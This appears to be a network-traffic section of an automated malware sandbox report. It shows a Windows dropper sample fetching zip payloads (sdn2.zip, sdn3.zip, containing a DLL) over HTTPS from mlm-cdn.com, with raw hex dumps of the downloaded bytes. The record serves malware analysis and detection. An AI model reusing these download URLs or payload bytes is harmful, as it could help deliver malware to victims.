2024-09-21 12:45:31 UTC	8000	IN	Data Raw: b7 40 2a e8 cd 85 dc 4c 1b cf da b8 dc 58 6b 10 e2 0e c8 6f b4 2b 4a 58 19 57 1b 2c 4a cf 3e de 33 31 b1 76 23 2b 91 d8 e4 05 a6 6b 2a f1 5b 2a 6b e9 1f ca 19 bd 05 dc 1a 74 eb 80 cd 60 cd 3e 36 cf c7 a6 e0 b0 42 9d 86 00 8d 88 95 e7 d1 68 95 e7 c7 03 b8 ad 4b 79 41 3c a0 80 1b 40 a4 db cf 09 77 97 24 d6 0b 34 56 f3 b1 8b 4e a9 ee b4 92 dd 3b 26 27 0b 39 77 d6 03 cd 72 a7 36 6b 51 b1 26 3c 54 91 64 a7 64 97 c6 55 70 ac fa 5c 61 75 77 40 4f fb cb 28 d8 86 97 e7 21 25 0f 65 81 78 18 d0 ab b6 a0 33 f2 50 2c 5f 9e 2f f0 60 cd 44 74 46 3e 05 17 08 a1 21 4e ae 98 96 66 14 30 5f 9e aa 83 55 ed a6 8e 24 ec a6 d8 94 ad b4 1c 75 80 04 58 e1 8c de ab b8 00 9a 8e 0c a3 4e b3 a9 f9 71 8b 3e c7 69 e6 2a d0 ec f5 02 06 f8 27 e0 6e c7 31 d6 4a ca 9d 80 21 5a a1 77 55 00 Data Ascii: @LXko+JXW,J>31v#+k[kt`>6BhKyA<@w$4VN;&'9wr6kQ&<TddUp\auw@O(!%ex3P,_/`DtF>!Nf0_U$uXNq>i'n1J!ZwU
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: 2e 52 cc 91 33 48 93 0d cc f9 20 36 28 49 61 3c 2b 0e 73 0a 92 28 f3 aa 6f a2 ad 09 92 35 73 78 1c e6 69 0f 9f 9d 60 6e c0 7d e0 95 67 71 57 39 58 16 3e 7b 9d 39 82 37 99 b1 57 b0 24 3c 9b ce b7 7c c3 a8 c0 70 7a f9 7e af 66 44 14 2f e9 fd ef 25 6a 3f 0c 6b ef f2 c6 2b fd c5 44 a5 9d a8 41 37 6f 57 31 c1 17 6f c0 f5 24 49 51 aa 91 90 8a 6b da cd db 9b bd 4e b5 41 f1 fe 7d 3c 5e 10 2b 37 e2 5e c0 91 9c 9c 2c ad cc ab 74 d7 dc a4 ee 7a 45 e0 dd 35 d7 db 1f fa b8 04 f4 03 a4 84 3f e8 e6 f8 65 de 7d c0 e5 c6 ca c8 c7 2e e2 fe 84 29 81 cd fc 48 78 bc 27 3a bf 1b 07 d1 be f2 ec a5 0c b4 a1 0a 9f cd 0a 1d 60 8c 36 8b a2 13 20 5f 64 5f 70 b4 3c ac 0c 52 46 26 90 26 f1 6b 8b 39 e6 ee 35 c6 c2 da 9e 77 d7 8f 35 dc c6 72 df fd 6b d2 ce f2 a2 78 21 ae d5 42 56 10 3e Data Ascii: .R3H 6(Ia<+s(o5sxi`n}gqW9X>{97W$<\|pz~fD/%j?k+DA7oW1o$IQkNA}<^+7^,tzE5?e}.)Hx':`6 _d_p<RF&&k95w5rkx!BV>
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: 4f 34 37 90 5b 1d 72 b5 c2 66 07 bf d5 fc d0 85 c7 40 6c b3 9a 57 a1 cb 23 5a ba ae b9 44 0e 84 d0 21 dc 8c a0 79 7b e9 f0 e2 13 92 a7 0f 84 c9 70 af 18 ba 81 0d 57 88 d0 44 0e d5 7b cd db 74 65 61 79 39 fa 41 b6 b5 2e 43 87 09 ac f3 9e d0 d9 ae 29 78 e7 62 09 bb 86 a7 64 dc 97 48 a4 b9 fe 1a 6d 3f 6b f7 d0 70 ab 3e b2 0f ef 55 b1 39 c4 65 06 c9 21 56 84 ce b6 d4 89 22 2c 2b b6 6a b9 7e 48 82 9a 05 94 2a f9 5b c0 d0 b2 27 3a 39 26 da 9e 40 f2 57 e7 62 f6 3e e8 ae 39 6c f6 b2 a8 a7 cf 8d 85 67 3a 5d c5 fb d8 31 d9 f4 36 2a 10 7d 4b 49 e7 60 72 33 1f b7 bf 47 ef 24 ae 2a b7 d2 51 25 2f af a2 d9 c5 c7 52 5a 85 3b ac 5d 6a 99 ff 40 51 b9 b6 a0 4a a5 94 8e de 24 22 ed c1 17 b7 92 bd 85 df 6a 0b 2f 30 13 37 f3 75 02 27 e4 d9 bd 68 dc fa 04 f6 79 6c 15 d2 02 b2 Data Ascii: O47[rf@lW#ZD!y{pWD{teay9A.C)xbdHm?kp>U9e!V",+j~H[':9&@Wb>9lg:]16}KI`r3G$*Q%/RZ;]j@QJ$"j/07u'hyl
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: c5 d9 56 0a 39 7e 88 4e 81 28 c7 6a 2f 55 a1 06 d8 22 d1 0b 10 65 1f 00 eb 0a 52 09 23 e2 25 7c 0d d3 67 6a 05 8c 54 21 5e c3 0b 1a 8d 20 91 c3 bf 0c eb 91 6d a9 d1 1c 41 33 a8 ae 22 1e 9b 0d 89 e3 e5 5e 7a 34 43 60 99 29 c5 0a 54 aa 0e 0a 68 aa 05 3c ee 75 c9 f3 33 d5 8d 56 91 0e 5f cd 43 7b b9 0a ec 36 dc 9b 37 49 96 94 fd 63 0f ba 37 f8 28 72 68 c0 7d 58 1d a9 f7 61 d5 5b 0c bd b6 4b a9 f7 61 75 b8 b5 fb b0 6a 6b 92 ee c3 e2 c1 ca a5 78 30 51 37 44 db 64 0a f7 7e 0f a7 70 12 5a 8b a7 10 b8 f6 1e 6d fa 8f a5 e9 ff 97 ef 6b 04 ee c1 81 17 66 f1 b9 3f af 4d a0 59 89 c5 cd 63 6d 48 0a 78 d1 6d 55 6e ba ca cb 2d df 3a a4 3f 39 9b a7 cd e5 04 8b 3d 4f 7b 4d 9a cf f2 ce cf d2 f7 22 83 2c bf 7c 42 51 e2 57 0e 5d 87 27 fb ea 90 c1 62 9d ea 82 07 d5 9f c4 b9 d4 Data Ascii: V9~N(j/U"eR#%\|gjT!^ mA3"^z4C`)Th<u3V_C{67Ic7(rh}Xa[Kaujkx0Q7Dd~pZmkf?MYcmHxmUn-:?9=O{M",\|BQW]'b
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: b9 46 74 00 c0 3e 0e 5d c3 2a e9 80 89 fb 75 f4 47 51 25 7f ab 3d 2e 5f 42 2f bc 9f 50 31 71 6d 93 18 9b 21 62 47 a9 be 3f b8 3f 81 f0 94 65 74 e0 67 a2 77 57 c7 71 ba 4c d0 de e7 7c 35 b8 9a ee e8 90 7b cb 68 6d 3c e7 a2 10 f9 9b 28 3c b4 89 2b 2f 57 9c cc cd aa 3f 3c c0 ff 9a bc 89 ec 7a c5 68 05 29 15 47 4f 32 fe 09 81 86 86 33 e3 9f 8e c0 c3 8b 4e c8 57 dd fa 02 ff d9 9f fa c7 eb 83 f6 2f 3e 54 89 9e 83 b1 95 91 b3 85 e2 a3 1e 24 39 6e 5e 89 87 3e c1 0b df 96 62 0d ed a2 ad 2d 38 0e f0 20 a9 8e 3f bb 84 3d 1f ca 88 da c5 ae 4c 68 03 b4 87 e1 ed c2 43 99 d3 c4 f4 7c 67 47 bd c5 61 80 ff 6b 79 c7 8b 23 d1 c5 4d 69 4e 56 ac 9c fa 8a 3c 87 24 fb a3 09 d7 8b 42 c8 1a 18 ef 5f 5f 96 93 e5 df 99 07 94 eb eb d3 e8 4e 2f 95 98 7b 61 f5 f4 1b 46 d0 0d 5b 5b 73 Data Ascii: Ft>]*uGQ%=._B/P1qm!bG??etgwWqL\|5{hm<(<+/W?<zh)GO23NW/>T$9n^>b-8 ?=LhC\|gGaky#MiNV<$B__N/{aF[[s
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: df 43 54 9d 2f 4e 68 c3 bc fe 90 c0 b5 a8 a2 0f 77 69 51 81 7f bf f4 0b 47 05 8e b4 a7 22 f5 c7 52 c7 39 9d 70 c7 9e 48 d7 8f 79 35 94 92 5a 2e b7 1e 36 af 44 8f 91 c3 ab a7 d0 08 ac a3 e3 0a 1a 96 8a 02 bb 1f ff 22 11 95 17 2f 17 11 95 8f 1f 39 a7 85 28 3d be 66 cc 00 fd e2 96 ec fe 6b fd 22 f1 68 8f 5c 4c 3c da a7 17 93 7e b8 c2 88 29 d4 eb 8e 69 e1 de fb a0 db e5 c5 96 1a ba 9b 31 42 ab a8 1b ec 72 c1 89 6c fa b4 48 19 c6 9c ce 09 6d 2d f7 87 b6 96 b3 43 5b 1b 62 4b f2 00 5b f7 f5 e9 d9 f1 02 35 b3 2c 5d 33 3f 6e 11 c1 5b 59 98 13 5b d0 69 52 a2 d3 24 72 3a cd 94 86 fe 4e 33 61 71 26 b8 ec 8a fb 53 a9 4c a7 cd ee 31 5a 8c a8 21 83 cb 52 03 f8 7f 94 69 00 d2 e7 85 64 5f 60 24 fa 7f 3c a7 d5 93 2d 75 b2 b2 54 c9 87 6d 7c 65 69 99 58 79 4e 13 8c e6 bd 88 Data Ascii: CT/NhwiQG"R9pHy5Z.6D"/9(=fk"h\L<~)i1BrlHm-C[bK[5,]3?n[Y[iR$r:N3aq&SL1Z!Rid_`$<-uTm\|eiXyN
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: 12 42 a1 28 4a 6f 01 06 52 8f ec 1c 03 5b 43 41 f5 34 10 d5 58 ec 1c fd d4 40 02 c4 0c bf 13 a2 2b c8 ef c2 63 63 10 14 a9 00 2f 00 a7 bc 45 f4 1a b4 b7 fe 2d 8d 76 d8 eb 75 ea 11 eb 4e 50 3d b1 11 ec 46 e0 0b 83 5c b2 5d 2e 6d da 39 9f cd 0a ca db 96 9b ef 4c f1 0f a9 dc e7 4b 5b 5e 6c b8 73 8a c1 9f 12 a8 33 06 1a 8c 6c 12 4e e5 d5 b5 c7 5e 51 17 68 51 83 75 c4 5e e9 8f 45 7e 5d 29 d9 e2 60 15 4d c4 8a ec 75 10 cd 6f 3e aa 73 15 07 f7 59 2b c5 18 d4 e5 15 a4 99 ac 02 69 e3 71 b6 ac 6e 3c 1c 23 40 88 92 51 ec 15 79 0d 9a 21 7d 04 f8 fe 89 5c 44 a2 c5 80 df 95 2c 50 c2 f2 66 8a 72 70 2e 46 2a 4c 07 c6 1e 27 40 23 65 5e 8f 26 ad 62 b7 f3 b5 ea 36 3b d5 8c 93 30 a2 9d 6e f9 5d 0c 79 98 61 4e 83 00 8a 0b 60 f0 5f 0f a4 0a a8 7f 83 8f e0 04 79 7b 25 ee 24 37 Data Ascii: B(JoR[CA4X@+cc/E-vuNP=F\].m9LK[^ls3lN^QhQu^E~])`Muo>sY+iqn<#@Qy!}\D,Pfrp.F*L'@#e^&b6;0n]yaN`_y{%$7
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: eb 19 a9 b0 7e dd 26 c5 52 eb c0 40 7e f4 da b6 8b 2a bf 86 30 cd 46 cb ac 70 ee 5a c8 3d c5 e4 71 28 6e 8b 93 9e a3 bd 32 f6 b3 9e 96 6e 0c db 73 f5 45 67 10 6b b4 13 42 28 f4 14 34 f9 32 bd aa 3c ce a6 61 2d b1 ca 40 ec 36 91 be 22 5f 8c 54 1c 89 b0 31 d5 f4 99 0e fe 90 3e bc d7 46 1f cf 49 11 f2 4e f0 10 55 89 72 a6 3c dd 24 4f 37 93 16 b8 5b 36 40 fc 6c 7b a7 5c d2 51 b0 db 3f 88 f4 a3 db 4e ec 9d 64 b4 37 9d 0e cf 09 a9 d0 e9 57 83 c1 2e 5f 36 b1 ca 29 54 bc 06 23 29 90 49 66 b9 c8 4c a6 5a c0 bd 90 c7 06 ee 85 40 89 6e 02 3b 5b cd ba 84 d4 6f 2e 68 7a 72 1e 19 50 f0 f1 c2 39 6c 7a ee 33 e7 fe 67 f7 45 23 ab 7c 6c ee 1e 86 21 c7 b2 33 e4 6e eb 0b 60 0f 9e fb 61 e1 ee b3 ec cd 53 d7 92 8f 3f fe 76 17 2b 7c 77 ee b9 82 b3 4f 9a f2 f6 b5 1b 63 3e 64 60 Data Ascii: ~&R@~*0FpZ=q(n2nsEgkB(42<a-@6"_T1>FINUr<$O7[6@l{\Q?Nd7W._6)T#)IfLZ@n;[o.hzrP9lz3gE#\|l!3n`aS?v+\|wOc>d`
2024-09-21 12:45:31 UTC	8000	IN	Data Raw: 96 97 ab 7c e0 1f 08 b3 d3 0a 93 c8 23 64 e4 59 b7 62 2e b6 82 94 65 c0 82 bd 9f 8c ca f2 36 72 8f 8d b0 29 53 16 df 0d d6 88 e3 27 32 f6 60 df 3c 79 25 e6 85 9b 17 76 54 9b 9d e0 c9 f2 20 1d fe 25 de 10 86 7c 57 be 3c d6 98 fa 07 f6 39 cb 3e a6 bb 8c a9 6b d9 0a 12 0c c6 90 f7 49 8e af 2c 47 22 f4 77 5b 2e 6f cf f9 1d 59 22 79 51 e3 2b af ce 35 4f c6 ee 71 37 93 64 aa cd 3b 95 de fb 7e 8c 20 82 6e 19 dd fc 35 6a 1a 83 ce 95 4b 8b a1 96 43 af a0 5c 94 1c cc 52 c3 4e 16 eb 7c 56 5c bc 20 52 7e 9f 2d 49 10 29 7b 73 74 19 72 91 8f fe e3 9b e8 52 06 bd d4 6a ad 54 a5 56 4a 2e 5a 14 78 ce 24 f8 a7 83 22 c4 58 d4 2c 29 54 d0 10 ce 21 d5 68 b1 78 a7 98 59 5a 10 c2 7a f3 58 09 20 1c 06 6f f3 9b d1 d3 24 e4 75 62 ba 88 42 63 45 c9 8e 2c ed d2 69 92 fe 48 a2 a9 0d Data Ascii: \|#dYb.e6r)S'2`<y%vT %\|W<9>kI,G"w[.oY"yQ+5Oq7d;~ n5jKC\RN\|V\ R~-I){strRjTVJ.Zx$"X,)T!hxYZzX o$ubBcE,iH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	142.11.212.184	443	4504	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 12:45:35 UTC	49	OUT	GET /ssd/sdn2.zip HTTP/1.1 Host: mlm-cdn.com
2024-09-21 12:45:36 UTC	263	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 12:45:36 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 10 Aug 2024 18:46:12 GMT Accept-Ranges: bytes Content-Length: 227999 Vary: Accept-Encoding Content-Type: application/zip
2024-09-21 12:45:36 UTC	7929	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 fc 43 f7 52 4a 93 09 5d da 28 00 00 90 49 00 00 18 00 00 00 6d 73 76 63 70 31 34 30 5f 63 6f 64 65 63 76 74 5f 69 64 73 2e 64 6c 6c ed 7a 07 5c 53 c9 f6 f0 4d a3 97 20 a0 a8 94 48 11 54 ca 4d 90 2e 9d a0 88 48 07 41 10 43 08 24 08 04 93 1b 9a a2 f4 05 91 15 2b d8 c1 de 56 c4 b6 36 24 8a 88 58 51 57 65 d5 55 c4 16 15 15 15 15 15 cd 37 73 13 14 75 7d fb de f7 7f ef 7b ef 7b bf ff e5 37 e5 9c 39 73 e6 cc 99 39 e7 cc 4c 08 88 ae 44 48 08 82 90 41 92 4a 11 e4 00 22 fb 3c 90 bf fe ba 41 d2 30 3a a4 81 ec 55 3e 37 e2 00 61 d2 b9 11 61 5c 9e 90 96 2e e0 27 09 58 a9 34 36 2b 2d 8d 8f d1 e2 39 34 81 28 8d c6 4b a3 f9 04 86 d2 52 f9 09 1c 6b 75 75 15 53 39 8f 3b a9 a9 53 37 aa 91 94 fa 53 c6 1c a2 f2 66 50 ee c0 2a 95 36 e3 38 a2 d2 21 Data Ascii: PKCRJ](Imsvcp140_codecvt_ids.dllz\SM HTM.HAC$+V6$XQWeU7su}{{79s9LDHAJ"<A0:U>7aa\.'X46+-94(KRkuuS9;S7SfP*68!
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 8b 39 66 cd e9 aa 2f 66 6e 63 73 8f b1 cf 67 0c ea 7e 54 b2 f7 25 51 61 fa 6f 0b 15 e3 ae eb 69 33 50 70 aa 73 60 d8 a2 f6 74 3b d4 d1 da d1 89 11 8d 92 f3 88 84 9e 9a fc f6 0d f9 57 d0 fc 4b ff 12 9b b1 42 c7 c8 2e 95 a6 5f da fd 04 9c 14 56 5a c2 c0 cb e5 24 5e 2a 0f e3 24 d0 47 a2 a6 32 72 83 30 2e 2b 85 23 a4 85 85 86 d2 98 a1 93 9d 7d c0 a9 d4 6a ac 97 af 8f 15 93 e9 e5 49 37 43 4d 64 a6 a8 ff 85 2d fc 71 cd 2a 14 63 a5 a6 d3 42 39 82 0c 1e 9b 53 53 a0 11 80 16 90 df a1 05 a4 3b 03 9e 66 3c eb e6 86 54 c5 bc bc c9 c4 0d d3 f3 db 03 fa ec 7f 89 22 e4 33 23 69 1b fc a9 c4 72 d7 81 ca 1f 66 50 ba 1d dd 81 e1 c8 c0 1f 66 a0 4b 61 c8 c1 ff ca 75 fa cb 77 9f 97 a3 cf 6c 69 38 22 da 3a 67 dc d2 91 41 8b 77 35 94 49 77 75 14 9d 53 fb fd b4 7b 56 6c 7d e0 3e Data Ascii: 9f/fncsg~T%Qaoi3Pps`t;WKB._VZ$^$G2r0.+#}jI7CMd-qcB9SS;f<T"3#irfPfKauwli8":gAw5IwuS{Vl}>
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 84 1e ad 04 62 8a d9 13 58 7f 3e c8 2a e1 4d e0 fe 23 1d fe c1 f2 22 09 30 40 65 a8 7a 6a 62 de 74 ae 31 32 38 b2 d6 38 45 b8 2f 4d bf 63 85 c6 ba c4 c0 75 49 0e b9 af 28 c4 9b 6f 9b 27 5b 73 c2 c5 65 b7 2b f1 33 f3 b7 b4 aa 52 15 27 22 52 c7 8f 1f a6 2b 7b 69 97 fd a8 d9 f3 c8 01 99 0d 71 75 7c 16 85 cf 91 a5 52 6d 7a 9c 40 ed fe 29 fc 2e 89 6a 0a 77 27 cf 30 83 03 83 39 62 37 da a7 13 d7 c7 60 a5 92 1a 47 6f e6 dc 1b ca d8 d7 c5 7b b5 73 a2 3e e3 dd 1d a1 07 9e e1 3e 03 86 7a 29 5a 7e d7 60 87 e4 eb f7 25 b1 be 1c 99 2e 98 e7 53 e0 7b d3 18 f4 e0 a5 bf e5 eb a7 e6 77 e0 05 5a 73 2d eb 16 ad d4 fd 6e 8d 28 df 89 b1 88 15 3e 44 af 57 bc d9 30 83 bb bd 82 5e 4b f6 42 ef 46 6e 64 46 b5 fd 29 d5 41 96 f1 8b a7 d3 2a 82 a4 50 7b a7 0b b2 75 0b b1 a1 49 cf 02 Data Ascii: bX>M#"0@ezjbt1288E/McuI(o'[se+3R'"R+{iqu\|Rmz@).jw'09b7`Go{s>>z)Z~`%.S{wZs-n(>DW0^KBFndF)AP{uI
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 3a 73 15 b7 4e 26 a7 d0 30 9c 7d 00 9d 57 ab 10 c8 02 f9 a2 bc 68 6c 0a 31 74 7a e6 5b 77 ec 17 57 f3 ab 45 79 41 10 b8 af 00 47 f2 99 29 f4 cb c7 eb 35 bd 60 d9 0f 09 77 42 42 98 26 28 6a a0 11 f3 b1 81 68 f5 75 c3 8c 94 a6 5e d2 96 0e 4a f1 63 fb 89 92 71 c0 fc b4 71 29 e1 b4 1f f6 0c c3 95 fa a0 4c ae 28 ff 0e 24 ab 37 c3 de c9 11 e5 ff 82 bb 3f 36 cc 7e 37 53 17 0c e4 af 3d 78 03 f7 b8 04 6b 8b 89 2d 5c 7b ec 06 ee d7 c1 9c 43 d3 60 36 d7 36 99 0e 09 b4 4d d6 0a 15 db 20 58 ae 67 48 8c 1f 32 c1 5c 9b c2 10 07 c7 82 02 af f3 18 51 cb 46 60 8f 98 0b 02 cb 01 25 4c 41 81 fc 02 c6 fd 61 20 bd b6 09 ed f6 a4 37 37 21 3e 19 b1 d1 76 c5 b0 70 c3 15 53 8f e6 62 d7 92 00 b2 6e 52 ec ce fa de 9a 06 83 5a 9c fb 92 4d 15 ce f4 c7 54 cc 1d 4b d3 54 4b cf d7 24 d5 Data Ascii: :sN&0}Whl1tz[wWEyAG)5`wBB&(jhu^Jcqq)L($7?6~7S=xk-\{C`66M XgH2\QF`%LAa 77!>vpSbnRZMTKTK$
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 13 6b cd 81 ee 85 54 41 10 3f a5 48 04 34 0c 12 42 aa db c6 2b 26 a8 ae 6d 08 82 fe da c0 1f 61 80 a6 7c 39 e7 13 69 35 fd 18 b3 20 64 c3 55 91 41 65 8d 65 9b e7 8c e1 e7 e8 3f 28 0b e2 e7 c2 a2 dd 2c ad 7e bc de 4a 17 68 c0 bb 98 9a e2 a7 4a e3 a8 db a0 31 18 54 c3 40 a2 0e 8d 6e c2 4d da 1b 07 41 ed 50 bc aa 8c b9 c8 f5 96 9a 06 9e 9a 0f 4e c1 5b 38 a9 06 02 3e 7a 2b 04 2b 37 c7 49 5e a0 e6 25 4f b4 28 05 8f c9 48 9b 1b ec 6b 58 fe c1 93 65 94 9e f5 30 f5 df 2b 3e 00 13 08 fc 44 bf 73 66 4d 6e a3 45 ed ed 87 50 fd fe 0e 2a 8d 4a c1 2d 33 9c 6b 3f c1 62 2a 81 4a cb 4a d6 ce 82 1e 4d 97 b4 56 9e d2 24 35 10 b9 18 1e 7d 64 cc 1f f2 03 07 f0 d5 34 59 b9 ca 26 bf 54 65 f9 ac 6a 2d 2a 5d e8 93 a2 b0 9b 1a ec f9 f8 4e 8e ba 51 aa 6e 30 d8 53 e0 96 d6 b1 9a 93 Data Ascii: kTA?H4B+&ma\|9i5 dUAee?(,~JhJ1T@nMAPN[8>z++7I^%O(HkXe0+>DsfMnEPJ-3k?bJJMV$5}d4Y&Tej-*]NQn0S
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 21 85 d1 4c c6 06 5c c6 c1 10 c6 65 77 df 40 b2 6f 44 d9 e3 75 a8 c5 68 e5 b9 81 15 25 8e 1b 5a 4a f8 bc 37 47 2b 5b 23 d8 d3 f5 4d f2 60 c5 fa 7f 6f b4 aa e6 be 21 71 84 e1 cc 25 e3 a1 8b 5e c4 ac 5d ff 77 42 fc dc 41 93 10 97 f2 5a bd c1 48 07 09 37 6a 54 dd 36 0a 54 9d 51 5f 7e f9 59 83 21 37 59 f8 8c 3c 5c 1e a3 35 c7 f7 05 83 f8 a6 dd ce 30 8d 5f 0d b0 fb 6b b5 19 33 07 1f 71 42 0f aa 1b 59 ec c5 bf 60 0b 52 99 42 11 8f 9a 12 02 58 be d8 47 b0 82 fd 56 32 f9 3b 9e 6f e8 8e c8 1e ab ec bd 63 6d 55 b6 5e dd d4 ed 58 2d 0c 76 4f 1e 5f 73 ae 2c 25 c3 45 1d e3 5b 68 52 0e 51 77 33 aa 6a 88 76 b7 01 a8 d6 7f 21 55 ae 3f 89 77 86 44 bb cd 95 cc 89 5f 8d 47 62 73 f1 89 8a 82 cd 64 cb 87 33 af b7 77 a8 ed 1c b1 f4 bc 77 ac 40 b4 ec e8 38 e8 76 61 51 69 96 44 Data Ascii: !L\ew@oDuh%ZJ7G+[#M`o!q%^]wBAZH7jT6TQ_~Y!7Y<\50_k3qBY`RBXGV2;ocmU^X-vO_s,%E[hRQw3jv!U?wD_Gbsd3ww@8vaQiD
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: b7 d2 7e f8 78 a1 9a 0b 8c ca 59 9b fb 44 92 fb 90 d0 ba 6b 2f be 83 a4 43 8e dd 8f 87 56 7c e8 b6 b3 cf b3 17 c7 fa 44 3c e0 1d aa 71 3a 19 d1 59 d2 15 01 da f0 3b f0 ed 7e be 97 a8 b2 5b 65 e7 fb c3 2f 5f 7e 7f 68 62 bf 50 da b7 f2 aa a4 0d 46 8b 38 1c 03 9f 0f 5c 6c 2e 11 a1 bf 3d fa cd 24 3c b0 24 6d 31 40 cc b7 92 08 24 e6 e6 7c 70 52 92 e1 18 d4 9d ef 27 91 49 bc 8b 3c 8b dc 17 4a 8d 2d 9d 90 95 de ba a5 87 98 98 d3 c4 9b 81 01 c8 99 83 01 50 e2 6e 2e 70 36 87 8e 61 c1 e1 f0 fb 4b fa 4a 7a 9b fc 12 ce c2 4e c6 0c 33 12 b2 33 5b e7 f8 46 a7 e2 21 3f 84 0e 1b b2 a1 a4 50 6f 91 b3 64 7c d0 a2 86 4e de c9 03 7c 27 0c 9c 76 f6 e2 b5 8f 23 75 b3 ad db 15 7c 24 5f 7c a9 bc 61 b4 2e b2 43 c2 8f 7b a2 af cb 9c 0f 5d 28 19 db 8d f7 f1 e8 e1 2b 7f bb 25 57 f4 Data Ascii: ~xYDk/CV\|D<q:Y;~[e/_~hbPF8\l.=$<$m1@$\|pR'I<J-Pn.p6aKJzN33[F!?Pod\|N\|'v#u\|$_\|a.C{](+%W
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: a5 b5 62 c1 c3 2b ab fb 17 7e b4 aa 68 f5 7d df 13 f9 9a cf af ad ce e8 7d 7c d7 7e df 19 8e d3 54 e1 71 57 ae 3a 6c 54 4c 99 9f 6d 1e f7 da a5 d7 b7 d3 5f 8e 5e b0 70 cd 9e 09 9b 36 2f 2d a0 1a 93 f3 06 ae d6 8e dd b5 dd b7 e0 c2 b5 5b 3e 3c a7 18 7f a7 9d b7 af 4e b9 9d 76 64 e2 90 45 ed 3a 1f f9 7a 62 fa 8e 8d 7b ae 0f 09 2f bf 10 bf ae 8d 7b a0 85 d3 9d e1 4b 96 3d 3e 7c 66 c8 82 a9 3f 76 5c 77 fe f1 96 df 96 5d 9f e4 14 f6 3a fb c9 85 b5 83 c7 45 29 f5 fd fa 4c 39 30 f4 e8 d9 1d 3b 5e c8 42 7f fc be f2 03 cb 1e 97 be f8 6a cd a8 c1 ea 82 c6 b6 87 57 ee d8 9f 3a eb c3 d3 ef f5 b7 d4 cc 70 ee db e7 db 9f be 0f 59 54 71 e6 51 c5 ab ab 19 e7 03 73 32 02 d2 cc 13 c3 bb 7f 9b ef bf 34 6b 9d 50 39 b0 7a c2 bd c3 cc f9 fb 83 2c 23 32 d7 f4 da 7b ec a3 63 a2 Data Ascii: b+~h}}\|~TqW:lTLm_^p6/-[><NvdE:zb{/{K=>\|f?v\w]:E)L90;^BjW:pYTqQs24kP9z,#2{c
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 3f d3 55 79 14 5d 9c 76 a6 99 bb cd a3 1a 09 6d ba 0a 41 bc ed f4 cc 89 fa c0 41 5d 25 9a ec f6 d4 8b 42 8c 04 0f d8 d7 ad b6 97 59 16 2b 1e f8 a2 dc 19 65 74 a1 67 85 a7 00 f6 e0 1b e7 1e ba 09 e6 61 3b 91 83 7d a6 bd 25 dd 75 0b 7a 92 76 02 31 4e 3f 44 f7 50 bc eb f4 aa d4 d8 b7 96 c7 13 47 c6 89 50 0e 55 b0 2a 3e 7e 24 91 3e dd 54 43 05 d4 e1 d5 0e eb b0 b7 0a d6 c0 6a 1c af c2 eb 7d d8 a7 f2 1b ed 3f 6e 2a 77 e9 29 78 ad bf 3f d6 7e 43 c5 d1 e2 2f 61 9c 56 ef 25 90 44 05 88 e0 05 37 78 a0 09 d1 dc d0 02 02 22 7b 60 2b e6 16 80 57 18 8f 19 ac 58 f3 59 bb 92 a5 b4 32 98 8e f4 22 e4 69 85 76 a8 47 fe 5d a8 4d 3d 8e 04 86 5d 8e 48 8d 88 db 06 3e ac 5b 71 0d 13 e3 f6 42 3b bb d6 23 c5 8d 3d 7a 5c 28 c5 47 10 4d 7c ed 62 ac 3e 26 eb 86 f6 51 5c 80 33 6e a4 Data Ascii: ?Uy]vmAA]%BY+etga;}%uzv1N?DPGPU>~$>TCj}?nw)x?~C/aV%D7x"{`+WXY2"ivG]M=]H>[qB;#=z\(GM\|b>&Q\3n
2024-09-21 12:45:36 UTC	8000	IN	Data Raw: 45 f3 5f bf 77 2f fc 95 15 80 85 c5 bc d8 e4 2c 36 2f 1d 84 62 92 4f c5 45 bb 38 31 30 b4 4a 2d d4 e3 91 1e 9c 6b 2a f4 d1 9b 5f 60 4c b1 13 6b 46 f8 45 37 2b 0a e0 76 2b b5 1d 9f 33 30 50 aa 4e c1 6f 51 8e 40 82 1c 81 5f f2 b6 4e f8 be ad 83 7d a7 5f 3f 6f 10 1c 6f 33 5d fb d9 dd 64 37 d6 57 4e b3 d4 0a bb af e7 25 78 99 d0 ba 3d eb 8a b8 95 0d 68 c7 ec e0 dc 70 87 29 94 b5 bc a8 7f cd 24 43 7e bf d4 89 ce 67 f9 89 b4 89 7e 92 c9 44 e3 01 fd 5c 67 03 c0 a6 36 1f 0c 36 12 86 c4 20 01 82 c4 8c 07 ca ee db 99 32 2e 3d d0 47 4a 2d 8e 28 f0 d1 85 a4 8d 5c 72 8c c9 eb 5e ac 0e 58 0c 89 cb 9e 56 7b 2f 39 04 45 52 aa fd 7a 07 af b6 e7 fa 7c 64 2c aa 39 a7 43 03 59 d3 54 f9 b9 5b 2d e2 88 7e 57 42 6c 69 84 30 9e 3d 11 3f ac 52 b0 60 47 4a c3 f5 eb f7 a1 f4 f5 3b Data Ascii: E_w/,6/bOE810J-k*_`LkFE7+v+30PNoQ@_N}_?oo3]d7WN%x=hp)$C~g~D\g66 2.=GJ-(\r^XV{/9ERz\|d,9CYT[-~WBli0=?R`GJ;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	142.11.212.184	443	4504	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 12:45:37 UTC	49	OUT	GET /ssd/sdn3.zip HTTP/1.1 Host: mlm-cdn.com
